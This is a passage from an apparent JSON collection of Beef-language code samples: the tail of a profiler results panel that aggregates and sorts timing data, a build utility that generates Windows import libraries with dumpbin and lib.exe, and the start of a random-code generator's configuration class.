\");\n\t\t\t\tmProfileCtx.mSession.ElapsedTicksToStr(mSelection.mTickEnd - mSelection.mTickStart, str);\n                g.DrawString(str, 150, 0);\n\t\t\t}\n\t\t\t//g.DrawBox(DarkTheme.sDarkTheme.GetImage(DarkTheme.ImageIdx.Bkg), 0, 0, mWidth, mHeight);\n\t\t}\n\n\t\tpublic override void DrawAll(Graphics g)\n\t\t{\n\t\t\tbase.DrawAll(g);\n\t\t}\n\n\t\tpublic void Show(PerfView perfView, BPSelection selection)\n\t\t{\n\t\t\tDebug.Assert(perfView != null);\n\t\t\tmPerfView = perfView;\n\t\t\tmSelection = selection;\n\t\t\tmSelectionDirty = true;\n\t\t}\n\n\t\tvoid GetData()\n\t\t{\n\t\t\tmListView.GetRoot().Clear();\n\t\n\t\t}\n\n\t\tstruct PerfInfo\n\t\t{\n\t\t\tpublic String mName;\n\t\t\tpublic int32 mCount;\n\t\t\tpublic int64 mTicks;\n\t\t\tpublic int64 mChildTicks;\n\t\t\tpublic int32 mStackCount; // Number of times this entry appears in entryStack\n\n\t\t\tpublic int32 mZoneNameId;\n\t\t\tpublic String mUnformattedName;\n\t\t}\n\n\t\tstruct BPPerfEntry\n\t\t{\n\t\t\tpublic int32 mZoneNameId;\n\t\t\tpublic int64 mTickStart;\n\t\t\tpublic int64 mChildTicks;\n\t\t\tpublic int32 mParamsReadPos;\n\t\t\tpublic PerfInfo* mPerfInfo;\n\t\t}\n\n\t\tclass ProfileContext\n\t\t{\n\t\t\tBumpAllocator mAlloc = new BumpAllocator() ~ delete _;\n\t\t\tpublic BpSession mSession;\n\t\t\tpublic Dictionary<String, PerfInfo*> mPerfDict = new .() ~ delete _;\n\t\t\tString mTempStr = new String() ~ delete _;\n\t\t\tString mTempDynStr = new String() ~ delete _;\n\t\t\tpublic List<PerfInfo*> mResults = new List<PerfInfo*>() ~ delete _;\n\t\t\tpublic List<PerfInfo*> mSortingResults = new List<PerfInfo*>() ~ delete _;\n\t\t\tpublic int32 mStreamDataIdx;\n\t\t\tpublic bool mDone;\n\t\t\tpublic bool mFormatStrings;\n\t\t\tpublic bool mHasSelectionEndChanged;\n\n\t\t\tpublic PerfInfo* GetPerfInfo(BPPerfEntry entry, BPStateContext stateCtx)\n\t\t\t{\n\t\t\t\tint32 paramsSize;\n\n\t\t\t\tString str;\n\t\t\t\tif (entry.mZoneNameId < 0)\n\t\t\t\t{\n\t\t\t\t\tint32 nameLen = -entry.mZoneNameId;\n\t\t\t\t\tstr = mTempDynStr;\n\t\t\t\t\tstr.Reference((char8*)stateCtx.mReadStart + entry.mParamsReadPos - nameLen, nameLen, 0);\n\t\t\t\t\tparamsSize = -1;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tlet zoneName = mSession.mZoneNames[entry.mZoneNameId];\n\t\t\t\t\tstr = zoneName.mName;\n\t\t\t\t\tparamsSize = zoneName.mParamsSize;\n\t\t\t\t}\n\n\t\t\t\t//bool dbgStr = str == \"DeepStack0 %d\";\n\n\t\t\t\tString unformattedStr = str;\n\n\t\t\t\tif ((paramsSize != 0) && (mFormatStrings))\n\t\t\t\t{\n\t\t\t\t\tmTempStr.Clear();\n\t\t\t\t\tstateCtx.FormatStr(entry.mParamsReadPos, paramsSize, str, mTempStr);\n\t\t\t\t\tstr = mTempStr;\n\t\t\t\t}\n\n\t\t\t\tString* keyPtr;\n\t\t\t\tPerfInfo* perfInfo;\n\t\t\t\tPerfInfo** perfInfoPtr;\n\t\t\t\tif (mPerfDict.TryAdd(str, out keyPtr, out perfInfoPtr))\n\t\t\t\t{\n\t\t\t\t\tperfInfo = new:mAlloc PerfInfo();\n\t\t\t\t\t*perfInfoPtr = perfInfo;\n\n\t\t\t\t\tif (str == (Object)mTempStr)\n\t\t\t\t\t{\n\t\t\t\t\t\tString heapStr = new:mAlloc String(str);\n\t\t\t\t\t\t*keyPtr = heapStr;\n\t\t\t\t\t\tperfInfo.mName = heapStr;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\tperfInfo.mName = str;\n\n\t\t\t\t\tif ((unformattedStr == (Object)mTempDynStr) && (unformattedStr != (Object)mTempStr))\n\t\t\t\t\t{\n\t\t\t\t\t\tString heapStr = new:mAlloc String(unformattedStr);\n\t\t\t\t\t\tperfInfo.mUnformattedName = heapStr;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\tperfInfo.mUnformattedName = unformattedStr;\n\t\t\t\t\tperfInfo.mZoneNameId = entry.mZoneNameId;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tperfInfo = *perfInfoPtr;\n\t\t\t\t\tif ((entry.mZoneNameId > 0) && (perfInfo.mZoneNameId < 0))\n\t\t\t\t\t{\n\t\t\t\t\t\t// Set to a valid zoneNameId if the inserting entry was a dynamic string but this one isn't\n\t\t\t\t\t\tperfInfo.mZoneNameId = entry.mZoneNameId;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn perfInfo;\n\t\t\t}\n\t\t}\n\n\t\tvoid UpdateProfileCtx()\n\t\t{\n\t\t\tStopwatch stopwatch = scope Stopwatch();\n\t\t\tstopwatch.Start();\n\n\t\t\tvar client = mPerfView.mSession;\n\t\t\tvar thread = client.mThreads[mSelection.mThreadIdx];\n\n\t\t\tbool isRecording = false;\n\t\t\tbool isFirstDrawn = mProfileCtx.mStreamDataIdx == 0;\n\n\t\t\tbool isManualSelection = mSelection.mDepth == -1;\n\n\t\t\tStreamLoop: while (mProfileCtx.mStreamDataIdx < thread.mStreamDataList.Count)\n\t\t\t{\n\t\t\t\tint streamDataListIdx = mProfileCtx.mStreamDataIdx++;\n\t\t\t\tvar streamData = thread.mStreamDataList[streamDataListIdx];\n\n\t\t\t\tif ((streamData.mSplitTick > 0) && (streamData.mSplitTick < mSelection.mTickStart))\n\t\t\t\t\tcontinue; // All data is to the left\n\n\t\t\t\tBPStateContext stateCtx = scope BPStateContext(client, streamData);\n\n\t\t\t\tList<BPPerfEntry> entryStack = scope List<BPPerfEntry>();\n\t\t\t\tint32 stackDepth = 0;\n\n\t\t\t\tCmdLoop: while (true)\n\t\t\t\t{\n\t\t\t\t\tswitch (stateCtx.GetNextEvent())\n\t\t\t\t\t{\n\t\t\t\t\tcase let .Enter(startTick, strIdx):\n\t\t\t\t\t\tint stackPos = stackDepth++;\n\n\t\t\t\t\t\tif (((mSelection.mDepth == -1) && (startTick >= mSelection.mTickStart)) ||\n\t\t\t\t\t\t\t((startTick == mSelection.mTickStart) && (stackPos == mSelection.mDepth)))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tisRecording = true;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (isRecording)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tBPPerfEntry entry;\n\t\t\t\t\t\t\tentry.mTickStart = startTick;\n\t\t\t\t\t\t\tentry.mZoneNameId = strIdx;\n\t\t\t\t\t\t\tentry.mChildTicks = 0;\n\t\t\t\t\t\t\t//stateCtx.MoveToParamData();\n\t\t\t\t\t\t\tentry.mParamsReadPos = stateCtx.ReadPos;\n\t\t\t\t\t\t\tentry.mPerfInfo = null;\n\t\t\t\t\t\t\tentry.mPerfInfo = mProfileCtx.GetPerfInfo(entry, stateCtx);\n\t\t\t\t\t\t\tentry.mPerfInfo.mStackCount++;\n\t\t\t\t\t\t\tentryStack.Add(entry);\n\t\t\t\t\t\t}\n\t\t\t\t\tcase let .Leave(endTick):\n\t\t\t\t\t\tstackDepth--;\n\t\t\t\t\t\tif (isRecording)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tlet entry = entryStack.PopBack();\n\t\t\t\t\t\t\tentry.mPerfInfo.mStackCount--;\n\n\t\t\t\t\t\t\tif ((entry.mTickStart == mSelection.mTickStart) && (stackDepth == mSelection.mDepth))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (client.mCurTick == endTick)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tmProfileCtx.mHasSelectionEndChanged = true;\n\t\t\t\t\t\t\t\t\tmSelection.mTickEnd = endTick;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tint64 ticks = endTick - entry.mTickStart;\n\n\t\t\t\t\t\t\tif (isManualSelection)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tint64 tickStart = Math.Max(entry.mTickStart, mSelection.mTickStart);\n\t\t\t\t\t\t\t\tint64 tickEnd = Math.Min(endTick, mSelection.mTickEnd);\n\t\t\t\t\t\t\t\tticks = tickEnd - tickStart;\n\t\t\t\t\t\t\t\tif (ticks <= 0)\n\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t//PerfInfo* perfInfo = mProfileCtx.GetPerfInfo(entry, stateCtx);\n\t\t\t\t\t\t\tPerfInfo* perfInfo = entry.mPerfInfo;\n\n\t\t\t\t\t\t\tbool isOld = ((entry.mTickStart <= streamData.mStartTick) && (stackDepth < stateCtx.mSplitCarryoverCount)); \n\n\t\t\t\t\t\t\t// Is this a duplicate spanned entry?  If so, we don't add it's stats but we still\n\t\t\t\t\t\t\t//  must process it as a parent to keep track of mChildTicks for new children\n\t\t\t\t\t\t\tif ((isFirstDrawn) || (!isOld))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tperfInfo.mCount++;\n\t\t\t\t\t\t\t\tif (perfInfo.mStackCount != 0)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// Total time is already handled by outer scope\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tperfInfo.mTicks += ticks;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (entryStack.Count > 0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tvar prevEntry = entryStack[entryStack.Count - 1];\n\n\t\t\t\t\t\t\t\t//bool prevIsOld = ((prevEntry.mTickStart <= streamData.mStartTick) && (stackDepth - 1 < stateCtx.mSplitCarryoverCount)); \n\t\t\t\t\t\t\t\t//if ((isFirstDrawn) || (!prevIsOld))\n\t\t\t\t\t\t\t\tif (!isOld)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t//PerfInfo* prevPerfInfo = mProfileCtx.GetPerfInfo(prevEntry, stateCtx);\n\n\t\t\t\t\t\t\t\t\tPerfInfo* prevPerfInfo = prevEntry.mPerfInfo;\n\t\t\t\t\t\t\t\t\tprevPerfInfo.mChildTicks += ticks;\n\n\t\t\t\t\t\t\t\t\tif (perfInfo.mStackCount != 0)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t// We have an instance of ourselves on an outer scope, so time we thought was child time actually isn't\n\t\t\t\t\t\t\t\t\t\tperfInfo.mChildTicks -= ticks;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (isManualSelection)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ((stackDepth == 0) && (endTick >= mSelection.mTickEnd))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (endTick <= streamData.mSplitTick)\n\t\t\t\t\t\t\t\t\t\tbreak StreamLoop;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t//isRecording = false;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (stackDepth <= mSelection.mDepth)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (endTick <= streamData.mSplitTick)\n\t\t\t\t\t\t\t\t\tbreak StreamLoop;\n\t\t\t\t\t\t\t\tisRecording = false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\tcase .EndOfStream:\n\t\t\t\t\t\tbreak CmdLoop;\n\t\t\t\t\tdefault:\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tisFirstDrawn = false;\n\n\t\t\t\tif (stopwatch.ElapsedMilliseconds > (int)(gApp.mTimePerFrame * 1000))\n\t\t\t\t{\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\tmProfileCtx.mDone = true;\n\n\t\t\tfor (var value in mProfileCtx.mPerfDict.Keys)\n\t\t\t{\n\t\t\t\tvar perfInfo = @value.Value;\n\t\t\t\tDebug.Assert(perfInfo.mName != null);\n\t\t\t\tmProfileCtx.mResults.Add(perfInfo);\n\t\t\t}\n\n\t\t\tRefreshList();\n\t\t}\n\n\t\tvoid RefreshData()\n\t\t{\n\t\t\tmListView.GetRoot().Clear();\n\n\t\t\tif (mPerfView == null)\n\t\t\t\treturn;\n\n\t\t\tvar session = mPerfView.mSession;\n\t\t\t\n\t\t\tdelete mProfileCtx;\n\t\t\tmProfileCtx = new ProfileContext();\n\t\t\tmProfileCtx.mFormatStrings = mFormatCheckbox.Checked;\n\t\t\tmProfileCtx.mSession = session;\n\t\t}\n\n\t\tpublic void ItemClicked(ProfileListViewItem clickedItem, int32 btn, int32 btnCount, float x, float y)\n\t\t{\n\t\t\tif (clickedItem.mParentItem == null)\n\t\t\t\treturn;\n\t\t\tProfileListViewItem item = (ProfileListViewItem)clickedItem.GetSubItem(0);\n\t\t\tmListView.GetRoot().SelectItemExclusively(item);\n\t\t\tmListView.SetFocus();\n\n\t\t\tif (btn == 1)\n\t\t\t{\n\t\t\t\tMenu menu = new Menu();\n\n\t\t\t\tvar menuItem = menu.AddItem(\"Find Instances\");\n\t\t\t\tmenuItem.mOnMenuItemSelected.Add(new (selectedItem) =>\n\t\t\t\t    {\n\t\t\t\t\t\tvar find = gApp.mFindPanel;\n\t\t\t\t\t\tvar str = scope String();\n\t\t\t\t\t\tvar client = mPerfView.mSession;\n\n\t\t\t\t\t\tvar thread = client.mThreads[mSelection.mThreadIdx];\n\n\t\t\t\t\t\tstr.Clear();\n\t\t\t\t\t\tvar perfInfo = mProfileCtx.mResults[item.mVirtualIdx];\n\t\t\t\t\t\tstr.Append('=');\n\t\t\t\t\t\tstr.Append(perfInfo.mName);\n\t\t\t\t\t\tif (str.Contains(' '))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstr.Insert(1, '\\\"');\n\t\t\t\t\t\t\tstr.Append('\"');\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (mSelection.mDepth > 0)\n\t\t\t\t\t\t{\n\t                        str.Append(\" Depth>\");\n\t\t\t\t\t\t\tmSelection.mDepth.ToString(str);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfind.mEntryEdit.SetText(str);\n\n\t\t\t\t\t\tstr.Clear();\n\t\t\t\t\t\tstr.Append('=');\n\t\t\t\t\t\tthread.GetName(str);\n\t\t\t\t\t\tif (str.Contains(' '))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstr.Insert(1, '\\\"');\n\t\t\t\t\t\t\tstr.Append('\"');\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfind.mTrackEdit.mEditWidget.SetText(str);\n\n\t\t\t\t\t\tstr.Clear();\n\t\t\t\t\t\tclient.TicksToStr(mSelection.mTickStart, str);\n\t\t\t\t\t\tfind.mTimeFromEdit.mEditWidget.SetText(str);\n\n\t\t\t\t\t\tstr.Clear();\n\t\t\t\t\t\tclient.TicksToStr(mSelection.mTickEnd, str);\n\t\t\t\t\t\tfind.mTimeToEdit.mEditWidget.SetText(str);\n\n\t\t\t\t\t\tfind.mFormatCheckbox.Checked = true;\n\t\t\t\t\t\tfind.mZonesCheckbox.Checked = true;\n\t\t\t\t\t\tfind.mEventsCheckbox.Checked = false;\n\n\t\t\t\t\t\tfind.mNeedsRestartSearch = true;\n\t\t\t\t    });\n\n\t\t\t\tmenu.AddItem();\n\t\t\t\tmListView.AddStaticMenu(menu);\n\n\t\t\t\tMenuWidget menuWidget = DarkTheme.sDarkTheme.CreateMenuWidget(menu);\n\t\t\t\tmenuWidget.Init(clickedItem, x, y);\n\t\t\t}\n\t\t}\n\n\t\tpublic void ValueClicked(MouseEvent theEvent)\n\t\t{\n\t\t    DarkVirtualListViewItem clickedItem = (DarkVirtualListViewItem)theEvent.mSender;\n\t\t    DarkVirtualListViewItem item = (DarkVirtualListViewItem)clickedItem.GetSubItem(0);\n\n\t\t    mListView.GetRoot().SelectItemExclusively(item);\n\t\t    mListView.SetFocus();\n\n\t\t    if ((theEvent.mBtn == 0) && (theEvent.mBtnCount > 1))\n\t\t    {\n\t\t        for (int32 childIdx = 1; childIdx < mListView.GetRoot().GetChildCount(); childIdx++)\n\t\t        {\n\t\t            var checkListViewItem = mListView.GetRoot().GetChildAtIndex(childIdx);\n\t\t            checkListViewItem.IconImage = null;\n\t\t        }\n\t\t        \n\t\t        /*int32 selectedIdx = item.mVirtualIdx;\n\t\t\t\tvar foundEntry = mSearchState.mFoundEntries[selectedIdx];\n\t\t\t\tmPerfView.ZoomTo(foundEntry.mStartTick, foundEntry.mEndTick);\n\t\t\t\tBPSelection selection;\n\t\t\t\tselection.mStartTick = foundEntry.mStartTick;\n\t\t\t\tselection.mEndTick = foundEntry.mEndTick;\n\t\t\t\tselection.mDepth = foundEntry.mDepth;\n\t\t\t\tselection.mThreadIdx = foundEntry.mTrackIdx;\n\t\t\t\t\n\t\t\t\tmPerfView.mSelection = selection;*/\n\t\t    }\n\n\t\t\tif (theEvent.mBtn == 1)\n\t\t\t{\n\t\t\t\tMenu menu = new Menu();\n\n#unwarn\n\t\t\t\tvar menuItem = menu.AddItem(\"Set Track Color ...\");\n\t\t\t\tMenuWidget menuWidget = DarkTheme.sDarkTheme.CreateMenuWidget(menu);\n\t\t\t\tmenuWidget.Init(this, theEvent.mX, theEvent.mY);\n\t\t\t}\n\t\t}\n\n\t\tint EntryCompare(PerfInfo* lhs, PerfInfo* rhs)\n\t\t{\n\t\t\tint64 result = 0;\n\t\t\tif (mListView.mSortType.mColumn == 0)\n\t\t\t{\n\t\t\t\tresult = String.Compare(lhs.mName, rhs.mName, true);\n\t\t\t\tif (result == 0)\n\t\t\t\t\tresult = lhs.mTicks - rhs.mTicks;\n\t\t\t}\n\t\t\telse if (mListView.mSortType.mColumn == 1)\n\t\t\t{\n\t\t\t\tresult = lhs.mCount - rhs.mCount;\n\t\t\t}\n\t\t\telse if (mListView.mSortType.mColumn == 2)\n\t\t\t{\n\t\t\t\tresult = lhs.mTicks - rhs.mTicks;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tresult = (lhs.mTicks - lhs.mChildTicks) - (rhs.mTicks - rhs.mChildTicks);\n\t\t\t}\n\t\t\tif (mListView.mSortType.mReverse)\n\t\t\t\tresult = -result;\n\t\t\treturn (int)result;\n\t\t}\n\n\t\tvoid SortList()\n\t\t{\n\t\t\tmProfileCtx.mSortingResults.Sort(scope => EntryCompare);\n\t\t\tmSortDoneHandle.Set(true);\n\t\t}\n\n\t\tvoid CheckSorting(int32 waitMS = 0)\n\t\t{\n\t\t\tif (mSorting)\n\t\t\t{\n\t\t\t\tif (mSortDoneHandle.WaitFor(waitMS))\n\t\t\t\t{\n\t\t\t\t\tmSorting = false;\n\t\t\t\t\tmSortDoneHandle.Reset();\n\n\t\t\t\t\tDebug.Assert(mProfileCtx.mResults.Count == mProfileCtx.mSortingResults.Count);\n\t\t\t\t\tSwap!(mProfileCtx.mResults, mProfileCtx.mSortingResults);\n\n\t\t\t\t\tmListView.GetRoot().Clear();\n\n\t\t\t\t\tif (mProfileCtx.mResults.Count > 0)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar listViewItem = (DarkVirtualListViewItem)mListView.GetRoot().CreateChildItem();\n\t\t\t\t\t\tlistViewItem.mVirtualHeadItem = listViewItem;\n\t\t\t\t\t\tlistViewItem.mVirtualCount = (int32)mProfileCtx.mResults.Count;\n\t\t\t\t\t\tmListView.PopulateVirtualItem(listViewItem);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tvoid RefreshList()\n\t\t{\n\t\t\tif (mPerfView == null)\n\t\t\t{\n\t\t\t\tmListView.GetRoot().Clear();\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tFinishSorting();\n\n\t\t\tmSorting = true;\n\n\t\t\tmProfileCtx.mSortingResults.Clear();\n\t\t\tmProfileCtx.mSortingResults.GrowUnitialized(mProfileCtx.mResults.Count);\n\t\t\tfor (int i < mProfileCtx.mResults.Count)\n\t\t\t\tmProfileCtx.mSortingResults[i] = mProfileCtx.mResults[i];\n\n\t\t\tThreadPool.QueueUserWorkItem(new => SortList);\n\t\t\tCheckSorting(20);\n\t\t\t\n\t\t\t/*for (var strId in iList)\n\t\t\t{\n\t\t\t\tvar childItem = mListView.GetRoot().CreateChildItem();\n\t\t\t\tchildItem.Label = strId;\n\n\t\t\t\tvar perfInfo = ref perfDict[strId];\n\n\t\t\t\tvar subItem = childItem.CreateSubItem(1);\n\t\t\t\tsubItem.mLabel = new String();\n\t\t\t\tsubItem.mLabel.FormatInto(\"{0}\", perfInfo.mCount);\n\t\t\t\tsubItem.mMouseDownHandler.Add(new => ValueClicked);\n\n\t\t\t\tsubItem = childItem.CreateSubItem(2);\n\t\t\t\tsubItem.mLabel = new String();\n\t\t\t\tclient.ElapsedTicksToStr(perfInfo.mTicks, subItem.mLabel);\n\t\t\t\tsubItem.mMouseDownHandler.Add(new => ValueClicked);\n\n\t\t\t\tsubItem = childItem.CreateSubItem(3);\n\t\t\t\tsubItem.mLabel = new String();\n\t\t\t\tclient.ElapsedTicksToStr(perfInfo.mTicks - perfInfo.mChildTicks, subItem.mLabel);\n\t\t\t\tsubItem.mMouseDownHandler.Add(new => ValueClicked);\n\t\t\t}*/\n\t\t}\n\n\t\tpublic override void Update()\n\t\t{\n\t\t\tbase.Update();\n\n\t\t\tif (mPerfView == null)\n\t\t\t\treturn;\n\n\t\t\t// Were we awaiting more data to refresh\n\t\t\tvar client = mPerfView.mSession;\n\t\t\tif ((mActiveLastCurTick != 0) && (mActiveLastCurTick != client.mCurTick))\n\t\t\t{\n\t\t\t\tmActiveLastCurTick = 0;\n\t\t\t\tmSelectionDirty = true;\n\t\t\t}\n\n\t\t\tif (mSorting)\n\t\t\t{\n\t\t\t\tCheckSorting();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif ((mSelectionDirty) && (gApp.mIsUpdateBatchStart) &&\n\t                ((mProfileCtx == null) || (mProfileCtx.mDone)))\n\t\t\t\t{\n\t\t\t\t\tmSelectionDirty = false;\n\t\t\t\t\tRefreshData();\n\t\t\t\t}\n\n\t\t\t\tif ((mProfileCtx != null) && (!mProfileCtx.mDone))\n\t\t\t\t{\n\t\t\t\t\tif (gApp.mIsUpdateBatchStart)\n\t\t\t\t\t\tUpdateProfileCtx();\n\n\t\t\t\t\tif (mProfileCtx.mDone)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (mProfileCtx.mHasSelectionEndChanged)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tmActiveLastCurTick = client.mCurTick;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tmActiveLastCurTick = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tpublic void Clear()\n\t\t{\n\t\t\tmListView.GetRoot().Clear();\n\t\t\tDeleteAndNullify!(mProfileCtx);\n\t\t\tmActiveLastCurTick = 0;\n\t\t\tmPerfView = null;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "samples/Beef/Program.bf",
    "content": "// https://raw.githubusercontent.com/beefytech/Beef/5d5186f8127af4c670f76d7af7df735d3544a16d/IDE/dist/lib/gen/src/Program.bf\n#pragma warning disable 168\n\nusing System;\nusing System;\nusing System.Interop;\nusing System.IO;\nusing System.Threading;\nusing System.Diagnostics;\nusing System.Collections;\n\nnamespace gen\n{\n\tclass Program\n\t{\n\t\tstatic String[] sNames = new .[](\"comdlg32\", \"gdi32\", \"kernel32\", \"ole32\", \"netapi32\", \"ntdll\", \"rpcrt4\", \"shell32\", \"user32\", \"version\", \"winmm\") ~ delete _;\n\n\t\tpublic static int Main(String[] args)\n\t\t{\n\t\t\tbool isFirst = true;\n\n\t\t\tfor (var name in sNames)\n\t\t\t{\n\t\t\t\tfor (int pass < 2)\n\t\t\t\t{\n\t\t\t\t\tString resultStr = scope String();\n\t\t\t\t\t\n\t\t\t\t\t//\n\t\t\t\t\t{\n\t\t\t\t\t\tProcessStartInfo startInfo = scope .();\n\t\t\t\t\t\tstartInfo.SetFileName(@\"c:\\bin\\dumpbin.exe\");\n\t\t\t\t\t\tif (pass == 0)\n\t\t\t\t\t\t\tstartInfo.SetArguments(scope $\"/exports c:\\\\windows\\\\system32\\\\{name}.dll\");\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tstartInfo.SetArguments(scope $\"/exports c:\\\\windows\\\\SysWow64\\\\{name}.dll\");\n\t\t\t\t\t\tstartInfo.RedirectStandardOutput = true;\n\t\t\t\t\t\tstartInfo.UseShellExecute = false;\n\t\t\t\t\t\tstartInfo.RedirectStandardOutput = true;\n\t\t\t\t\t\tstartInfo.CreateNoWindow = false;\n\t\t\t\t\t\tSpawnedProcess process = scope SpawnedProcess();\n\t\t\t\t\t\tif (process.Start(startInfo) case .Err)\n\t\t\t\t\t\t\tcontinue;\n\n\t\t\t\t\t\tFileStream fileStream = scope FileStream();\n\t\t\t\t\t\tprocess.AttachStandardOutput(fileStream);\n\t\t\t\t\t\tStreamReader streamReader = scope StreamReader(fileStream, null, false, 4096);\n\t\t\t\t\t\tstreamReader.ReadToEnd(resultStr).IgnoreError();\n\n\t\t\t\t\t\tif (process.ExitCode != 0)\n\t\t\t\t\t\t\tRuntime.FatalError(scope $\"Failed to read lib '{name}'\");\n\t\t\t\t\t}\n\n\t\t\t\t\tvar outStr = scope String();\n\t\t\t\t\toutStr.Append(\"EXPORTS\\n\");\n\n\t\t\t\t\tfor (var line in resultStr.Split('\\n'))\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((line.Length > 26) && (line.StartsWith(\"      \")) && (line[25] == ' ') && (line[26] != '['))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar exportStr = line.Substring(26);\n\n\t\t\t\t\t\t\tint fwdIdx = exportStr.IndexOf(\"(forwarded to\");\n\t\t\t\t\t\t\tif (fwdIdx != -1)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\toutStr.Append(exportStr.Substring(0, fwdIdx - 1));\n\t\t\t\t\t\t\t\toutStr.Append(\" = \");\n\t\t\t\t\t\t\t\toutStr.Append(exportStr.Substring(fwdIdx + 14, exportStr.Length - fwdIdx - 15));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\toutStr.Append(exportStr);\n\n\t\t\t\t\t\t\t\tswitch (exportStr)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tcase \"DllMain\",\n\t\t\t\t\t\t\t\t\t\"DllGetClassObject\",\n\t\t\t\t\t\t\t\t\t\"DllCanUnloadNow\",\n\t\t\t\t\t\t\t\t\t\"DllRegisterServer\",\n\t\t\t\t\t\t\t\t\t\"DllUnregisterServer\",\n\t\t\t\t\t\t\t\t\t\"DllInstall\":\n\t\t\t\t\t\t\t\t\toutStr.Append(\" PRIVATE\");\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\t\toutStr.Append(\"\\n\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tFile.WriteAllText(scope $\"{name}.txt\", outStr);\n\n\t\t\t\t\t//\n\t\t\t\t\t{\n\t\t\t\t\t\tProcessStartInfo startInfo = scope .();\n\t\t\t\t\t\tstartInfo.SetFileName(@\"c:\\bin\\lib.exe\");\n\t\t\t\t\t\tif (pass == 0)\n\t\t\t\t\t\t\tstartInfo.SetArguments(scope $\"/def:{name}.txt /machine:x64 /out:..\\\\x64\\\\{name}.lib\");\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tstartInfo.SetArguments(scope $\"/def:{name}.txt /machine:x64 /out:..\\\\x86\\\\{name}.lib\");\n\t\t\t\t\t\tstartInfo.CreateNoWindow = false;\n\t\t\t\t\t\tSpawnedProcess process = scope SpawnedProcess();\n\t\t\t\t\t\tif (process.Start(startInfo) case .Err)\n\t\t\t\t\t\t\tcontinue;\n\n\t\t\t\t\t\tprocess.WaitFor();\n\t\t\t\t\t\tif (process.ExitCode != 0)\n\t\t\t\t\t\t\tRuntime.FatalError(scope $\"Failed to generate lib '{name}'\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn 0;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "samples/Beef/RandoCode.bf",
    "content": "using System;\nusing System.Collections;\nusing System.Text;\nusing System.IO;\nusing System.Threading.Tasks;\nusing System.Threading;\nusing Beefy.utils;\nusing System.Diagnostics;\n\nnamespace RandoCode\n{\n    class Config\n    {\n        public int32 mTypeCount = 800; //20; //70 //300\n        public float mPrimitiveTypeChance = 0.0f;\n\n        //public float mStructPct = 0.2f; // Otherwise class\n        public float mStructPct = 0.0f;\n\n        public float mTypeComplexityPower = 3.0f;\n\n        public float mCreateGenericTypePct = 0.15f;\n        public float mSpecializedTypePower = 3.0f;\n        public float mUnspecializedTypeScalar = 10.0f;\n\n        public float mTypeDefPoolPower = 1.1f;\n        public float mTypeDefPoolOffset = 3.0f;\n        public float mTypeDefPoolScalar = 